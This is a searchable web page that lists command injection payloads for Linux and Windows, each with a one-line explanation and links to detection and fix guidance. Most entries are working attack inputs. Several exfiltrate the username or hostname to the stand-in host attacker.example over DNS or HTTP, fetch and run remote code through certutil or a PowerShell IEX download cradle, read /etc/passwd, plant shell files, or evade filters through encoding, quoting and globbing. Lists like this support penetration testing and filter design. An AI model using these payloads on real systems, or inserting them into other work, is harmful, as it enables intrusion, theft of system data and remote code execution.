Command injection payload list
A searchable command injection payload list covering Linux and Windows. Filter by operating system, technique class and bypass class; every entry links through to the technique page with its detection signals and the correct fix.
61 of 61 payloads
--checkpoint=1 --checkpoint-action=exec=sh shell.shGNU tar options that run a command at a checkpoint — classic argument injection into a tar invocation.
-o /var/www/html/shell.phpcurl/wget output option: when the URL argument is attacker-controlled, writes the response to an arbitrary path.
--use-compress-program=idtar option that invokes an external program; abused to run arbitrary commands.
-R root@host -D 1080Example of injecting extra ssh options when a hostname argument is user-controlled.
echo aWQ= | base64 -d | shDecodes base64 'aWQ=' (id) and pipes it to sh; no literal 'id' in the request.
Linux / UnixFilter / WAF bypassEncoding (base64 / hex)Base64 and hex command injection filter bypass →printf '\x69\x64' | shReconstructs 'id' from hex escapes via printf, then executes it.
Linux / UnixFilter / WAF bypassEncoding (base64 / hex)Base64 and hex command injection filter bypass →powershell -EncodedCommand <base64-utf16le>PowerShell runs a base64 (UTF-16LE) encoded command, hiding the plaintext from filters.
bash -c "$(echo aWQK|base64 -d)"Command substitution feeds the decoded command directly to bash -c.
Linux / UnixFilter / WAF bypassEncoding (base64 / hex)Base64 and hex command injection filter bypass →; sleep 10Delays the response ~10s if executed. The simplest timing confirmation when no output is returned.
& ping -n 11 127.0.0.1Windows timing probe: 11 pings to localhost add ~10s of delay.
; nslookup $(whoami).attacker.exampleOut-of-band DNS callback that also exfiltrates the current user in the subdomain.
; cp /etc/passwd /var/www/html/p.txtSide-effect confirmation: copies a file somewhere the tester can fetch it over HTTP.
$(id)Runs `id` and substitutes its output. Works inside double quotes where `;` would be treated as literal text.
`id`Backtick form of command substitution; equivalent to $(id) and useful when $() is filtered.
$(curl http://attacker.example/$(whoami))Nested substitution: resolves whoami first, then exfiltrates it in an outbound request — a blind/out-of-band primitive.
a$(sleep 5)bEmbeds substitution in the middle of a token to prove execution via a timing delay when there's no output.
cat${IFS}/etc/passwd${IFS} supplies the field separator so cat receives /etc/passwd as a separate argument without a literal space.
cat$IFS$9/etc/passwd$IFS$9 idiom: $9 (typically empty) terminates the variable name, leaving the separator intact.
{cat,/etc/passwd}Brace expansion turns the comma into an argument separator — no spaces needed.
cat</etc/passwdInput redirection reads the file into cat's stdin, avoiding a space-separated argument entirely.
; idUnconditionally terminates the intended command and runs `id`. The simplest proof that two commands executed.
&& idRuns `id` only if the first command exits 0. Useful when the leading command is expected to succeed.
| idPipes the first command's output into `id`. Runs even when the first command fails, and avoids `;`/`&&` if those are filtered.
%0a idA URL-encoded newline (LF). Delivered through an HTTP parameter, it terminates the line and runs `id` on the next.
x; id #Closes a preceding token with a benign value, injects `id`, then `#` comments out the rest of the original command so trailing text doesn't cause a syntax error.
%0aidURL-encoded LF terminates the line; id runs on the next line. Bypasses ;/&&/| filters.
%0d%0aidCRLF variant for sinks that expect Windows-style line endings.
value\nidLiteral newline (shown as \n) injected where the application decodes escape sequences or accepts multiline input.
%0a/bin/id%0aNewlines on both sides isolate the injected command on its own line to avoid syntax errors.
; nslookup $(whoami).attacker.exampleDNS callback carrying the current user in the subdomain. Works where only DNS egress is permitted.
; curl http://attacker.example/$(hostname)HTTP callback that confirms execution and exfiltrates the hostname in the path.
& nslookup %COMPUTERNAME%.attacker.exampleWindows DNS callback expanding an environment variable into the subdomain.
& certutil -urlcache -f http://attacker.example/a acertutil fetches a URL (LOLBin), producing an HTTP callback from a default Windows binary.
| idRuns `id` with the first command's output as input; executes even if the first command fails.
| whoamicmd.exe pipe variant to run `whoami` after the intended command.
|idNo space after the pipe — still valid, and slips past filters that only match '| ' with a trailing space.
| sleep 5Timing probe through a pipe when the response body shows no command output.
; whoamiStatement separator runs whoami after the intended command in a PowerShell context.
$(whoami)Subexpression operator evaluates whoami and inlines its output, even inside double-quoted strings.
IEX (New-Object Net.WebClient).DownloadString('http://attacker.example/a.ps1')Download-and-execute cradle via Invoke-Expression; a common post-injection payload.
powershell -EncodedCommand <base64-utf16le>Runs an encoded script to bypass plaintext filters; see the encoding-bypass entry.
w'h'oamiEmpty single-quote pair inside the word is removed by the shell, yielding whoami.
Linux / UnixFilter / WAF bypassQuoting & concatenationQuote and concatenation command injection bypass →wh""oamiEmpty double-quote pair is stripped at runtime; defeats a 'whoami' keyword filter.
Linux / UnixFilter / WAF bypassQuoting & concatenationQuote and concatenation command injection bypass →wh\oamiBackslash before an ordinary char is dropped by the shell, reconstructing whoami.
Linux / UnixFilter / WAF bypassQuoting & concatenationQuote and concatenation command injection bypass →/bin/cat /etc/pa''sswdBreaks up a sensitive filename with an empty quote pair to bypass filename blocklists.
Linux / UnixFilter / WAF bypassQuoting & concatenationQuote and concatenation command injection bypass →; sleep 10Adds ~10 seconds of delay on Linux if executed.
& ping -n 11 127.0.0.1~10s delay on Windows: 11 localhost pings at ~1s each (first is immediate).
& timeout /t 10cmd.exe timeout command for a 10-second delay (needs an interactive-style console in some contexts).
$(sleep 10)Delay via command substitution — fires inside double-quoted contexts where separators don't.
/bin/c?t /etc/passwd? matches one character so c?t expands to cat; avoids the literal 'cat'.
/???/??t /etc/passwdAggressive globbing: three-char dir + two-char-plus-t binary resolves to /bin/cat on many systems.
/bin/cat /etc/pa*wdWildcard in the filename matches /etc/passwd without typing it literally.
/usr/bin/w*Matches binaries starting with w (e.g. whoami, w); useful to probe which tools exist.
who^amiThe caret is consumed by cmd.exe parsing; the command runs as whoami.
wh""oamiEmpty quote pair is stripped at runtime, defeating a 'whoami' keyword filter.
%PROGRAMFILES:~10,1%Substring expansion extracts one character from %PROGRAMFILES%; used to synthesise characters a filter blocks.
s^et x=who^ami & call %x%Builds the command in a variable using carets, then calls it indirectly to evade inline matching.
& whoamiUnconditionally runs `whoami` after the intended command in cmd.exe.
&& whoamiRuns `whoami` only if the preceding command succeeded (errorlevel 0).
| whoamiPipes the first command's output into `whoami`; runs regardless of the first command's result.
%0a whoamiA URL-encoded newline delivered through an HTTP parameter can terminate the line in some sinks and start a new command.
Browse by category on the techniques overview, or read the prevention guide.